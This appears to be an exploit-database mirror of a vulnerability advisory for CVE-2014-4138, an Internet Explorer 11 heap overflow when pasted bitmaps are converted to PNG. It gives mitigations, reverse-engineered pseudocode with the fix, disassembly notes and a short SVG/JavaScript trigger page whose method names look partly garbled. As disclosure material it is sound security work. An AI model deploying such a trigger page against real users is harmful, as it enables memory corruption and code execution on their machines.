Microsoft Internet Explorer 11 - MSHTML CPasteCommand::ConvertBitmaptoPng Heap-Based Buffer Ove
| EKU-ID: 6187 | CVE: 2014-4138 | OSVDB-ID: |
| Author: Skylined | Published: 2016-12-23 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 6187 | CVE: 2014-4138 | OSVDB-ID: |
| Author: Skylined | Published: 2016-12-23 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
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Source: http://blog.skylined.nl/20161221001.html
Synopsis
A specially crafted web-page can trigger an out-of-bounds write in Microsoft Internet Explorer 11. Code that handles pasting images from the clipboard uses an incorrect buffer length, which allows writing beyond the boundaries of a heap-based buffer. An attacker able to trigger this vulnerability can execute arbitrary code.
Known affected software, attack vectors and potential mitigations
Microsoft Internet Explorer 11.0.9600.16521
An attacker would need to get a target user to open a specially crafted web-page. In order to trigger the issue, the web-page needs to either programmatically copy/paste an image using Javascript or get the user to do this (for instance by tricking the user into typing keyboard shortcuts such as CTRL+C/CTRL+V) . By default, MSIE prompts the user to allow or disallow programmatically copy/pasting the first time a website tries to do this, so user-interaction is normally required in such cases. Disabling the Allow Programmatic clipboard access setting in Internet Options -> Security Settings -> [Choose a zone] -> Scripting should prevent websites from programmatically copy/pasting an image. Disabling execution of scripts on web-pages altogether will have the same effect. Please note that neither option prevents a website from social engineering the user into typing a keyboard shortcut to copy/paste the image.
Details
When an image is pasted in MSHTML, it gets converted from BMP format to PNG. This is done in the MSHTML!CPaste::Convert function. This function incorrectly uses the size of the original BMP image to allocate memory for storing the converted PNG image. The PNG image will be smaller than the BMP under most circumstances, but if a specially crafted image leads to the original BMP image being smaller than the converted PNG, the function will write PNG data beyond the bounds of the allocated memory.
Here is some pseudo code that was created by reverse engineering the CPaste::Convert function, which shows the vulnerability:
Convert(
[IN] VOID* po, UINT u,
[OUT] VOID** ppo, UINT* pu
) {
// Convert a BMP formatted image to a PNG formatted image.
CMem* po;
IWICStream* po;
STATSTG o;
TSmart<unsigned char> po;
UINT u;
// Create a CMem for the PNG image.
Create(NULL, True, po);
// Create an IWICStream from the BMP image.
Initialize(po, u,
&GUID_, &po)));
// Write BMP image in IWICStream to PNG image in CMem
Write(po, &GUID_, po);
// Get size of PNG image in CMem and save it to the output variable.
o->Stat(&o, 0);
*pu = o.cb.Low;
// Allocate memory for the PNG
po->New(u);
// Go to start of PNG image in CMem
po->Seek(0, STREAM__, NULL, &p);
// Read PNG image in CMem to allocated memory.
po->Read(po, *pu, &u);
// Save location of allocated memory with PNG image to output variable.
*ppo = po;
}
Notes:
The code uses the wrong size to allocate memory in po->New(u);. Changing this line of code to po->New(*pu); should address the issue.
The PNG image is written to the allocated memory in po->Read(po, *pu, &u);. This is where the code can potentially write beyond the boundaries of the allocated memory if u is smaller than *pu.
Repro.svg:
-->
<svg style="width:1px; height: 1px;" xmlns="http://www.w3.org/2000/svg">
<script>
window.onload = function () {
document.design="on";
document.exec("Select");/*exec*/
window.get().collapse();/*js_*/
document.exec("Copy");/*exec*/
document.exec("Paste", false);/*exec*/
}
</script>
</svg>
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Below are my notes from reversing the code for your viewing pleasure. There are a few flaws/omissions in the parts that are not directly relevant to the bug, as I did not attempt to finish all the details after I figured out enough to determine root cause, exploitability and attack vectors.
MSHTML!CPaste..Convert.txt
MSHTML!CPaste::Convert(
VOID* po<ebp+8>,
UINT u<ebp+c>,
BYTE[]** ppo<ebp+10>,
UINT* pu<ebp+14>):
-50 STATSTG o {
-50 00 04 LPOLESTR pwcs;
-4C 04 04 DWORD type;
-48 08 08 ULARGE_ cb;
-40 10 08 FILETIME mtime;
-38 18 08 FILETIME ctime;
-30 20 08 FILETIME atime;
-28 28 04 DWORD grf;
-24 2C 04 DWORD grf;
-20 30 10 CLSID clsid;
-10 34 04 DWORD grf;
-0C 38 04 DWORD reserved;
} size = 3C
-54 CMem* po
-58 VOID* po
-5C UCHAR[]* po (TSmart)
-60 UINT u
-64 BYTE[]** ppo
-70 DWORD p // lower DWORD of 64 bit position in stream.
6f3818fd 8bff mov edi,edi
6f3818ff 55 push ebp
6f381900 8bec mov ebp,esp
6f381902 83ec74 sub esp,74h
6f381905 a13c03436f mov eax,dword ptr [MSHTML!__security_ (6f43033c)]
6f38190a 33c5 xor eax,ebp
6f38190c 8945fc mov dword ptr [ebp-4],eax
6f38190f 8b4510 mov eax,dword ptr [ebp+10h] ppo<eax> = ppo<stack>
6f381912 8d4dac lea ecx,[ebp-54h] &po<ecx> = &po<stack>
6f381915 53 push ebx //save reg
6f381916 8b5d14 mov ebx,dword ptr [ebp+14h] pu<ebx> = pu<stack>
6f381919 56 push esi //save reg
6f38191a 8b7508 mov esi,dword ptr [ebp+8] po<esi> = po<ebp+8>
6f38191d 57 push edi //save reg
6f38191e 33ff xor edi,edi <edi> = 0
6f381920 89459c mov dword ptr [ebp-64h],eax ppo<stack> = ppo<eax>
6f381923 897da8 mov dword ptr [ebp-58h],edi po<stack> = 0<edi> po = 0
6f381926 897dac mov dword ptr [ebp-54h],edi po<stack> = 0<edi> po = 0
6f381929 e8566827ff call 6e5f8184 p<eax> = MSHTML!TSmart< p = &(TSmart<...>(&po))
Windows::Foundation::IAsync<
Windows::Storage::Streams::IRandom *
>
>::operator&(
&po)
6f38192e 50 push eax larg3<stack> = p<eax>
6f38192f 6a01 push 1 larg2<stack> = 1
6f381931 57 push edi larg1<stack> = 0<edi>
6f381932 ff1520c0426f call dword ptr [6f42c020] HRESULT h<eax> = combase!Create( if (FAILED(h = combase!Create(NULL, True, p)))
h = NULL,
f = True,
ppstm = p<eax>);
6f381938 8bf8 mov edi,eax h<edi> = h<eax>
6f38193a 85ff test edi,edi if (h<edi> < 0)
6f38193c 0f88b8000000 js 6f3819fa goto exit__1 goto exit__1;
6f381942 8b550c mov edx,dword ptr [ebp+0Ch] larg1<edx> = u<stack>
6f381945 8d45a8 lea eax,[ebp-58h] &po<eax> = &(po<stack>)
6f381948 50 push eax larg3<stack> = &po<eax>
6f381949 6860147a6e push 6e7a1460 larg2<stack> = &GUID_
6f38194e 8bce mov ecx,esi larg1<ecx> = po<esi>
6f381950 e8c8325dff call 6e954c1d h<eax> = MSHTML!Initialize( if (FAILED(h = Initialize(po, u, &GUID_, &po)))
po,
u,
&GUID_<dll>,
&po);
6f381955 8bf8 mov edi,eax h<edi> = h<eax>
6f381957 85ff test edi,edi if (h < 0)
6f381959 0f889b000000 js 6f3819fa goto exit__1 goto exit__1;
6f38195f ff75ac push dword ptr [ebp-54h] larg3<stack> = po<stack>
6f381962 8b4da8 mov ecx,dword ptr [ebp-58h] larg1<ecx> = po<stack>
6f381965 ba24a4736e mov edx,6e73a424 larg2<edx> = &GUID_<dll>
6f38196a e8e4f6e6ff call 6f1f1053 h<eax> = MSHTML!Write( if (FAILED(h = Write(po, &GUID_, po)))
po,
&GUID_,
po)
6f38196f 8bf8 mov edi,eax h<edi> = h<eax>
6f381971 85ff test edi,edi if (h<edi> < 0)
6f381973 0f8881000000 js 6f3819fa goto exit__1 goto exit__1;
6f381979 8b45ac mov eax,dword ptr [ebp-54h] po<eax> = po<stack>
6f38197c 8d55b0 lea edx,[ebp-50h] &o<edx> = &(o<stack>)
6f38197f 33f6 xor esi,esi 0<esi> = 0
6f381981 56 push esi larg3<stack> = 0<esi>
6f381982 52 push edx larg2<stack> = &o<edx>
6f381983 8b08 mov ecx,dword ptr [eax] af<ecx> = po<eax>->af
6f381985 50 push eax larg1<stack> = po<eax>
6f381986 ff5130 call dword ptr [ecx+30h] h<eax> = po->Stat(&o, 0) if (FAILED(h = po->Stat(&o, 0)))
6f381989 8bf8 mov edi,eax h<edi> = h<eax>
6f38198b 85ff test edi,edi if (h<edi> < 0)
6f38198d 786b js 6f3819fa goto exit__1 goto exit__1;
6f38198f 8b45b8 mov eax,dword ptr [ebp-48h] u<eax> = o<stack>.cb.Low
6f381992 8d4da4 lea ecx,[ebp-5Ch] &po<ecx> = &(po<stack>)
6f381995 ff750c push dword ptr [ebp+0Ch] u<stack> = u<stack>
6f381998 8903 mov dword ptr [ebx],eax *pu<ebx> = u<eax> *pu = o.cb.Low
6f38199a 8975a4 mov dword ptr [ebp-5Ch],esi po<stack> = 0<esi> ppo = NULL
6f38199d e8c34453ff call 6e8b5e65 MSHTML!TSmart<unsigned char>::New( if (FAILED(h = po->New(u)))
u<stack>)
6f3819a2 8bf8 mov edi,eax h<edi> = h<eax>
6f3819a4 85ff test edi,edi if (h<edi> >= 0)
6f3819a6 7905 jns 6f3819ad goto skip_1
free____2:
6f3819a8 8b4da4 mov ecx,dword ptr [ebp-5Ch] po<ecx> = po<stack> goto free___
6f3819ab eb48 jmp 6f3819f5 goto free____1
skip_1:
6f3819ad 8b45ac mov eax,dword ptr [ebp-54h] po<eax> = po<stack>
6f3819b0 8d5590 lea edx,[ebp-70h] &p<edx> = &(p<stack>)
6f3819b3 52 push edx larg3.2 = &p<edx>
6f3819b4 56 push esi larg3.1 = 0<esi>
6f3819b5 56 push esi larg2.2 = 0<esi>
6f3819b6 8b08 mov ecx,dword ptr [eax] af<ecx> = po<eax>->af
6f3819b8 56 push esi larg2.1 = 0<esi>
6f3819b9 50 push eax larg1 = po<eax>
6f3819ba ff5114 call dword ptr [ecx+14h] h<eax> = po->Seek( if (FAILED(h = po->Seek(0, STREAM__, NULL, &p)))
0,
STREAM__,
NULL,
&p)
6f3819bd 8bf8 mov edi,eax h<edi> = h<eax>
6f3819bf 85ff test edi,edi if (h<edi> < 0)
6f3819c1 78e5 js 6f3819a8 goto free____2 goto free___
6f3819c3 8b45ac mov eax,dword ptr [ebp-54h] po<eax> = po<stack>
6f3819c6 8d55a0 lea edx,[ebp-60h] &u<edx> = &(u<stack>)
6f3819c9 8b75a4 mov esi,dword ptr [ebp-5Ch] po<esi> = po<stack>
6f3819cc 52 push edx larg4 = &u<edx>
6f3819cd ff33 push dword ptr [ebx] larg3 = *pu<ebx>
6f3819cf 8b08 mov ecx,dword ptr [eax] af<ecx> = po<eax>->af
6f3819d1 56 push esi larg2 = po<esi>
6f3819d2 50 push eax larg1 = <eax>
6f3819d3 ff510c call dword ptr [ecx+0Ch] h = po->Read( if (FAILED(po->Read(po, *pu, &u)))
po,
************** *pu,
&u)
6f3819d6 8bf8 mov edi,eax h<edi> = h<eax>
6f3819d8 85ff test edi,edi if (h<edi> >= 0) goto free___
6f3819da 7904 jns 6f3819e0 goto skip__2
6f3819dc goto free____3
skip__2:
6f3819e0 8b03 mov eax,dword ptr [ebx] u<eax> = *pu<ebx>
6f3819e2 3b45a0 cmp eax,dword ptr [ebp-60h] if (u<eax> == u<stack>) if (u != u) {
6f3819e5 7407 je 6f3819ee goto skip__3
6f3819e7 bfffff0080 mov edi,8000FFFFh h<edi> = 0x8000FFFF (Error: Catastrophic failure) h = 0x8000FFFF (Error: Catastrophic failure)
6f3819ec ebee jmp 6f3819dc goto free____3 goto free___
free____3: }
6f3819dc 8bce mov ecx,esi po<ecx> = po<esi>
6f3819de eb15 jmp 6f3819f5 goto free____1
skip__3:
6f3819ee 8b459c mov eax,dword ptr [ebp-64h] ppo<eax> = ppo<stack>
6f3819f1 33c9 xor ecx,ecx po<ecx> = NULL
6f3819f3 8930 mov dword ptr [eax],esi *ppo<eax> = po<esi> *ppo = po, po = NULL
free____1: free___:
6f3819f5 e881f620ff call 6e59107b MSHTML!Process(po<ecx>) Process(po)
exit__1:
6f3819fa 8d4dac lea ecx,[ebp-54h] &po<ecx> = &(po<stack>)
6f3819fd e89f4b25ff call 6e5d65a1 MSHTML!SP<Tree::Grid>::~SP<Tree::Grid>(
&po<ecx>)
6f381a02 8d4da8 lea ecx,[ebp-58h] &po<ecx> = &(po<stack>)
6f381a05 e8974b25ff call 6e5d65a1 MSHTML!SP<Tree::Grid>::~SP<Tree::Grid>(
&po<ecx>)
6f381a0a 8b4dfc mov ecx,dword ptr [ebp-4]
6f381a0d 8bc7 mov eax,edi return h<edi>
6f381a0f 5f pop edi
6f381a10 5e pop esi
6f381a11 33cd xor ecx,ebp
6f381a13 5b pop ebx
6f381a14 e8f7f520ff call MSHTML!__security__ (6e591010)
6f381a19 8be5 mov esp,ebp
6f381a1b 5d pop ebp
6f381a1c c21000 ret 10h
6f381a1f 90 nop
6f381a20 90 nop
6f381a21 90 nop
6f381a22 90 nop
6f381a23 90 nop
MSHTML!CPaste..Paste.txt
MSHTML!CPaste::Paste(
self<ecx>,
x1<ebp+8>,
x2<ebp+C>,
x3<ebp+10>,
x4<ebp+14>,
x5<ebp+18>,
x6<ebp+1C>,
x7<ebp+20>,
x8<ebp+24>):
esp+34 = VOID* var34 (po)
esp+38 = BYTE[]* var38 (pab)
esp+4C = UINT var4C (u)
esp+50 = UINT var50 (u / u)
MSHTML!CPaste::Paste:
72cf6235 8bff mov edi,edi
72cf6237 55 push ebp
72cf6238 8bec mov ebp,esp
72cf623a 83e4f8 and esp,0FFFFFFF8h
72cf623d 83ec74 sub esp,74h
72cf6240 53 push ebx
72cf6241 56 push esi
72cf6242 57 push edi
72cf6243 8bd9 mov ebx,ecx
72cf6245 e8b1cdfdff call MSHTML!CCommand::Doc (72cd2ffb)
72cf624a 50 push eax
72cf624b 8d4c2478 lea ecx,[esp+78h]
72cf624f e86fb1afff call MSHTML!CPaste::CPaste (727f13c3)
72cf6254 33ff xor edi,edi
72cf6256 8bcb mov ecx,ebx
72cf6258 897c243c mov dword ptr [esp+3Ch],edi
72cf625c 897c2410 mov dword ptr [esp+10h],edi
72cf6260 897c2430 mov dword ptr [esp+30h],edi
72cf6264 897c2468 mov dword ptr [esp+68h],edi
72cf6268 897c246c mov dword ptr [esp+6Ch],edi
72cf626c 897c2470 mov dword ptr [esp+70h],edi
72cf6270 897c2414 mov dword ptr [esp+14h],edi
72cf6274 897c2424 mov dword ptr [esp+24h],edi
72cf6278 e87ecdfdff call MSHTML!CCommand::Doc (72cd2ffb)
72cf627d 8b4b08 mov ecx,dword ptr [ebx+8]
72cf6280 8bf0 mov esi,eax
72cf6282 83c110 add ecx,10h
72cf6285 897c2428 mov dword ptr [esp+28h],edi
72cf6289 897c242c mov dword ptr [esp+2Ch],edi
72cf628d 897c2440 mov dword ptr [esp+40h],edi
72cf6291 6a01 push 1
72cf6293 8b01 mov eax,dword ptr [ecx]
72cf6295 89742454 mov dword ptr [esp+54h],esi
72cf6299 897c241c mov dword ptr [esp+1Ch],edi
72cf629d 897c2420 mov dword ptr [esp+20h],edi
72cf62a1 ff503c call dword ptr [eax+3Ch]
72cf62a4 56 push esi
72cf62a5 8d4c2460 lea ecx,[esp+60h]
72cf62a9 8944245c mov dword ptr [esp+5Ch],eax
72cf62ad 897c2464 mov dword ptr [esp+64h],edi
72cf62b1 e8899265ff call MSHTML!CEnable::CEnable (7234f53f)
72cf62b6 8b7d08 mov edi,dword ptr [ebp+8]
72cf62b9 8bcf mov ecx,edi
72cf62bb 8b07 mov eax,dword ptr [edi]
72cf62bd ff9080000000 call dword ptr [eax+80h]
72cf62c3 85c0 test eax,eax
72cf62c5 0f84fd050000 je MSHTML!CPaste::Paste+0x693 (72cf68c8)
72cf62cb 8b4d0c mov ecx,dword ptr [ebp+0Ch]
72cf62ce 8b01 mov eax,dword ptr [ecx]
72cf62d0 ff9080000000 call dword ptr [eax+80h]
72cf62d6 85c0 test eax,eax
72cf62d8 0f84ea050000 je MSHTML!CPaste::Paste+0x693 (72cf68c8)
72cf62de 837d2000 cmp dword ptr [ebp+20h],0
72cf62e2 741c je MSHTML!CPaste::Paste+0xcb (72cf6300)
72cf62e4 8bcb mov ecx,ebx
72cf62e6 e810cdfdff call MSHTML!CCommand::Doc (72cd2ffb)
72cf62eb 8bf0 mov esi,eax
72cf62ed 8bcf mov ecx,edi
72cf62ef 8b07 mov eax,dword ptr [edi]
72cf62f1 ff5078 call dword ptr [eax+78h]
72cf62f4 50 push eax
72cf62f5 8d8e7c010000 lea ecx,[esi+17Ch]
72cf62fb e8bd2967ff call MSHTML!TSmart<CMarkup>::operator= (72368cbd)
72cf6300 8b4b08 mov ecx,dword ptr [ebx+8]
72cf6303 8d542418 lea edx,[esp+18h]
72cf6307 8d4910 lea ecx,[ecx+10h]
72cf630a e8ea7062ff call MSHTML!Create2 (7231d3f9)
72cf630f 8bf0 mov esi,eax
72cf6311 85f6 test esi,esi
72cf6313 0f88b4050000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6319 8b4c2418 mov ecx,dword ptr [esp+18h]
72cf631d 57 push edi
72cf631e 51 push ecx
72cf631f 8b01 mov eax,dword ptr [ecx]
72cf6321 ff5030 call dword ptr [eax+30h]
72cf6324 8bf0 mov esi,eax
72cf6326 85f6 test esi,esi
72cf6328 0f889f050000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf632e 8b4c2418 mov ecx,dword ptr [esp+18h]
72cf6332 6a00 push 0
72cf6334 51 push ecx
72cf6335 8b01 mov eax,dword ptr [ecx]
72cf6337 ff5014 call dword ptr [eax+14h]
72cf633a 8bf0 mov esi,eax
72cf633c 85f6 test esi,esi
72cf633e 0f8889050000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6344 8b4b08 mov ecx,dword ptr [ebx+8]
72cf6347 8d54241c lea edx,[esp+1Ch]
72cf634b 8d4910 lea ecx,[ecx+10h]
72cf634e e8a67062ff call MSHTML!Create2 (7231d3f9)
72cf6353 8bf0 mov esi,eax
72cf6355 85f6 test esi,esi
72cf6357 0f8870050000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf635d 8b4c241c mov ecx,dword ptr [esp+1Ch]
72cf6361 57 push edi
72cf6362 51 push ecx
72cf6363 8b01 mov eax,dword ptr [ecx]
72cf6365 ff5030 call dword ptr [eax+30h]
72cf6368 8bf0 mov esi,eax
72cf636a 85f6 test esi,esi
72cf636c 0f885b050000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6372 8b4c241c mov ecx,dword ptr [esp+1Ch]
72cf6376 6a01 push 1
72cf6378 51 push ecx
72cf6379 8b01 mov eax,dword ptr [ecx]
72cf637b ff5014 call dword ptr [eax+14h]
72cf637e 8bf0 mov esi,eax
72cf6380 85f6 test esi,esi
72cf6382 0f8845050000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6388 8b03 mov eax,dword ptr [ebx]
72cf638a 8d4c2448 lea ecx,[esp+48h]
72cf638e 51 push ecx
72cf638f 8d4c2458 lea ecx,[esp+58h]
72cf6393 51 push ecx
72cf6394 8d4c241c lea ecx,[esp+1Ch]
72cf6398 51 push ecx
72cf6399 8bcb mov ecx,ebx
72cf639b ff5030 call dword ptr [eax+30h]
72cf639e 8bf0 mov esi,eax
72cf63a0 85f6 test esi,esi
72cf63a2 0f8825050000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf63a8 8b442450 mov eax,dword ptr [esp+50h]
72cf63ac 85c0 test eax,eax
72cf63ae 741e je MSHTML!CPaste::Paste+0x199 (72cf63ce)
72cf63b0 6afe push 0FFFFFFFEh
72cf63b2 59 pop ecx
72cf63b3 663b88840e0000 cmp cx,word ptr [eax+0E84h]
72cf63ba 7512 jne MSHTML!CPaste::Paste+0x199 (72cf63ce)
72cf63bc 66894c2464 mov word ptr [esp+64h],cx
72cf63c1 33c9 xor ecx,ecx
72cf63c3 89442460 mov dword ptr [esp+60h],eax
72cf63c7 668988840e0000 mov word ptr [eax+0E84h],cx
72cf63ce 837d1000 cmp dword ptr [ebp+10h],0
72cf63d2 7558 jne MSHTML!CPaste::Paste+0x1f7 (72cf642c)
72cf63d4 8d44243c lea eax,[esp+3Ch]
72cf63d8 50 push eax
72cf63d9 ff15b8c1d972 call dword ptr [MSHTML!_imp__ (72d9c1b8)]
72cf63df 8bf0 mov esi,eax
72cf63e1 85f6 test esi,esi
72cf63e3 0f85e4040000 jne MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf63e9 8d44242c lea eax,[esp+2Ch]
72cf63ed 50 push eax
72cf63ee b8c0bfff71 mov eax,offset MSHTML!IID_ (71ffbfc0)
72cf63f3 50 push eax
72cf63f4 50 push eax
72cf63f5 8b4308 mov eax,dword ptr [ebx+8]
72cf63f8 ff7018 push dword ptr [eax+18h]
72cf63fb e854465dff call MSHTML!CDocument::Query (722caa54)
72cf6400 8b4c242c mov ecx,dword ptr [esp+2Ch]
72cf6404 8b54243c mov edx,dword ptr [esp+3Ch]
72cf6408 895510 mov dword ptr [ebp+10h],edx
72cf640b 85c9 test ecx,ecx
72cf640d 741d je MSHTML!CPaste::Paste+0x1f7 (72cf642c)
72cf640f 8b01 mov eax,dword ptr [ecx]
72cf6411 8d742428 lea esi,[esp+28h]
72cf6415 56 push esi
72cf6416 52 push edx
72cf6417 51 push ecx
72cf6418 ff5044 call dword ptr [eax+44h]
72cf641b 85c0 test eax,eax
72cf641d 750d jne MSHTML!CPaste::Paste+0x1f7 (72cf642c)
72cf641f 39442428 cmp dword ptr [esp+28h],eax
72cf6423 7407 je MSHTML!CPaste::Paste+0x1f7 (72cf642c)
72cf6425 8b442428 mov eax,dword ptr [esp+28h]
72cf6429 894510 mov dword ptr [ebp+10h],eax
72cf642c 8b4b08 mov ecx,dword ptr [ebx+8]
72cf642f 8d442424 lea eax,[esp+24h]
72cf6433 50 push eax
72cf6434 57 push edi
72cf6435 e886255aff call MSHTML!CHTMLEditor::Get (722989c0)
72cf643a 8bf0 mov esi,eax
72cf643c 85f6 test esi,esi
72cf643e 0f8889040000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6444 8b442424 mov eax,dword ptr [esp+24h]
72cf6448 85c0 test eax,eax
72cf644a 750a jne MSHTML!CPaste::Paste+0x221 (72cf6456)
72cf644c c744244401000000 mov dword ptr [esp+44h],1
72cf6454 eb3a jmp MSHTML!CPaste::Paste+0x25b (72cf6490)
72cf6456 8b30 mov esi,dword ptr [eax]
72cf6458 8d4c2440 lea ecx,[esp+40h]
72cf645c e82e5462ff call MSHTML!CSmart<IHTMLElement3>::operator& (7231b88f)
72cf6461 50 push eax
72cf6462 6854e82172 push offset MSHTML!IID_3 (7221e854)
72cf6467 ff74242c push dword ptr [esp+2Ch]
72cf646b ff16 call dword ptr [esi]
72cf646d 8bf0 mov esi,eax
72cf646f 85f6 test esi,esi
72cf6471 0f8856040000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6477 8b442440 mov eax,dword ptr [esp+40h]
72cf647b 8d542444 lea edx,[esp+44h]
72cf647f 52 push edx
72cf6480 50 push eax
72cf6481 8b08 mov ecx,dword ptr [eax]
72cf6483 ff5124 call dword ptr [ecx+24h]
72cf6486 8bf0 mov esi,eax
72cf6488 85f6 test esi,esi
72cf648a 0f883d040000 js MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf6490 8b7c2454 mov edi,dword ptr [esp+54h]
72cf6494 6bc714 imul eax,edi,14h
72cf6497 01442414 add dword ptr [esp+14h],eax
72cf649b e9cc010000 jmp MSHTML!CPaste::Paste+0x437 (72cf666c)
72cf64a0 66837c244400 cmp word ptr [esp+44h],0
72cf64a6 750e jne MSHTML!CPaste::Paste+0x281 (72cf64b6)
72cf64a8 83ff03 cmp edi,3
72cf64ab 7409 je MSHTML!CPaste::Paste+0x281 (72cf64b6)
72cf64ad 83ff02 cmp edi,2
72cf64b0 0f85b0010000 jne MSHTML!CPaste::Paste+0x431 (72cf6666)
72cf64b6 8b4d10 mov ecx,dword ptr [ebp+10h]
72cf64b9 ff742414 push dword ptr [esp+14h]
72cf64bd 51 push ecx
72cf64be 8b01 mov eax,dword ptr [ecx]
72cf64c0 ff5014 call dword ptr [eax+14h]
72cf64c3 85c0 test eax,eax
72cf64c5 0f859b010000 jne MSHTML!CPaste::Paste+0x431 (72cf6666)
72cf64cb 83ff04 cmp edi,4
72cf64ce 7418 je MSHTML!CPaste::Paste+0x2b3 (72cf64e8)
72cf64d0 83ff01 cmp edi,1
72cf64d3 7413 je MSHTML!CPaste::Paste+0x2b3 (72cf64e8)
72cf64d5 83ff03 cmp edi,3
72cf64d8 740e je MSHTML!CPaste::Paste+0x2b3 (72cf64e8)
72cf64da 83ff02 cmp edi,2
72cf64dd 7409 je MSHTML!CPaste::Paste+0x2b3 (72cf64e8)
72cf64df 85ff test edi,edi
72cf64e1 7405 je MSHTML!CPaste::Paste+0x2b3 (72cf64e8)
72cf64e3 83ff08 cmp edi,8
72cf64e6 7524 jne MSHTML!CPaste::Paste+0x2d7 (72cf650c)
72cf64e8 8b4d10 mov ecx,dword ptr [ebp+10h]
72cf64eb 8d542468 lea edx,[esp+68h]
72cf64ef 52 push edx
72cf64f0 ff742418 push dword ptr [esp+18h]
72cf64f4 8b01 mov eax,dword ptr [ecx]
72cf64f6 51 push ecx
72cf64f7 ff500c call dword ptr [eax+0Ch]
72cf64fa 85c0 test eax,eax
72cf64fc 0f8564010000 jne MSHTML!CPaste::Paste+0x431 (72cf6666)
72cf6502 8b44246c mov eax,dword ptr [esp+6Ch]
72cf6506 89442410 mov dword ptr [esp+10h],eax
72cf650a eb04 jmp MSHTML!CPaste::Paste+0x2db (72cf6510)
72cf650c 8b442410 mov eax,dword ptr [esp+10h]
72cf6510 85ff test edi,edi
72cf6512 0f84f8000000 je MSHTML!CPaste::Paste+0x3db (72cf6610)
72cf6518 83ff01 cmp edi,1
72cf651b 744d je MSHTML!CPaste::Paste+0x335 (72cf656a)
72cf651d 83ff02 cmp edi,2
72cf6520 0f84d1020000 je MSHTML!CPaste::Paste+0x5c2 (72cf67f7)
72cf6526 0f8e3a010000 jle MSHTML!CPaste::Paste+0x431 (72cf6666)
72cf652c 83ff04 cmp edi,4
72cf652f 0f8e0d020000 jle MSHTML!CPaste::Paste+0x50d (72cf6742)
72cf6535 83ff08 cmp edi,8
72cf6538 0f8528010000 jne MSHTML!CPaste::Paste+0x431 (72cf6666)
72cf653e 50 push eax
72cf653f ff15e043dc72 call dword ptr [MSHTML!_imp__ (72dc43e0)]
72cf6545 8bf8 mov edi,eax
72cf6547 8b442410 mov eax,dword ptr [esp+10h]
72cf654b 89442420 mov dword ptr [esp+20h],eax
72cf654f 85ff test edi,edi
72cf6551 0f8524010000 jne MSHTML!CPaste::Paste+0x446 (72cf667b)
72cf6557 be0e000780 mov esi,8007000Eh
72cf655c 8d4c2420 lea ecx,[esp+20h]
72cf6560 e819f1bfff call MSHTML!TSmart<void *,&Global>::~TSmart<void *,&Global> (728f567e)
72cf6565 e963030000 jmp MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf656a 8b4c242c mov ecx,dword ptr [esp+2Ch]
72cf656e e87b8f0200 call MSHTML!Ed::Is (72d1f4ee)
72cf6573 85c0 test eax,eax
72cf6575 0f84eb000000 je MSHTML!CPaste::Paste+0x431 (72cf6666)
72cf657b ff742410 push dword ptr [esp+10h]
72cf657f ff15e043dc72 call dword ptr [MSHTML!_imp__ (72dc43e0)]
72cf6585 85c0 test eax,eax
72cf6587 0f84ff010000 je MSHTML!CPaste::Paste+0x557 (72cf678c)
72cf658d 8d4c2420 lea ecx,[esp+20h]
72cf6591 8bd0 mov edx,eax
72cf6593 51 push ecx
72cf6594 e8a598fdff call MSHTML!CRtf::String (72ccfe3e)
72cf6599 ff742410 push dword ptr [esp+10h]
72cf659d 8bf0 mov esi,eax
72cf659f ff15dc43dc72 call dword ptr [MSHTML!_imp__ (72dc43dc)]
72cf65a5 85f6 test esi,esi
72cf65a7 0f85b4000000 jne MSHTML!CPaste::Paste+0x42c (72cf6661)
72cf65ad 397518 cmp dword ptr [ebp+18h],esi
72cf65b0 7436 je MSHTML!CPaste::Paste+0x3b3 (72cf65e8)
72cf65b2 397520 cmp dword ptr [ebp+20h],esi
72cf65b5 741d je MSHTML!CPaste::Paste+0x39f (72cf65d4)
72cf65b7 ff7524 push dword ptr [ebp+24h]
72cf65ba 8bcb mov ecx,ebx
72cf65bc ff751c push dword ptr [ebp+1Ch]
72cf65bf ff750c push dword ptr [ebp+0Ch]
72cf65c2 ff7508 push dword ptr [ebp+8]
72cf65c5 e802bbffff call MSHTML!CPaste::Fire (72cf20cc)
72cf65ca 8bf0 mov esi,eax
72cf65cc 85f6 test esi,esi
72cf65ce 0f85f9020000 jne MSHTML!CPaste::Paste+0x698 (72cf68cd)
72cf65d4 ff742420 push dword ptr [esp+20h]
72cf65d8 8b4b08 mov ecx,dword ptr [ebx+8]
72cf65db ff750c push dword ptr [ebp+0Ch]
72cf65de ff7508 push dword ptr [ebp+8]
72cf65e1 e89158fdff call MSHTML!CHTMLEditor::Do50Paste (72ccbe77)
72cf65e6 eb1a jmp MSHTML!CPaste::Paste+0x3cd (72cf6602)
72cf65e8 ff7524 push dword ptr [ebp+24h]
72cf65eb 8bcb mov ecx,ebx
72cf65ed ff751c push dword ptr [ebp+1Ch]
72cf65f0 ff7520 push dword ptr [ebp+20h]
72cf65f3 ff74242c push dword ptr [esp+2Ch]
72cf65f7 ff750c push dword ptr [ebp+0Ch]
72cf65fa ff7508 push dword ptr [ebp+8]
72cf65fd e861e4ffff call MSHTML!CPaste::Handle (72cf4a63)
72cf6602 ff742420 push dword ptr [esp+20h]
72cf6606 8bf0 mov esi,eax
72cf6608 ff15f044dc72 call dword ptr [MSHTML!_imp__ (72dc44f0)]
72cf660e eb23 jmp MSHTML!CPaste::Paste+0x3fe (72cf6633)
72cf6610 837d1800 cmp dword ptr [ebp+18h],0
72cf6614 0f8578020000 jne MSHTML!CPaste::Paste+0x65d (72cf6892)
72cf661a ff7524 push dword ptr [ebp+24h]
72cf661d 8bcb mov ecx,ebx
72cf661f ff751c push dword ptr [ebp+1Ch]
72cf6622 ff7520 push dword ptr [ebp+20h]
72cf6625 50 push eax
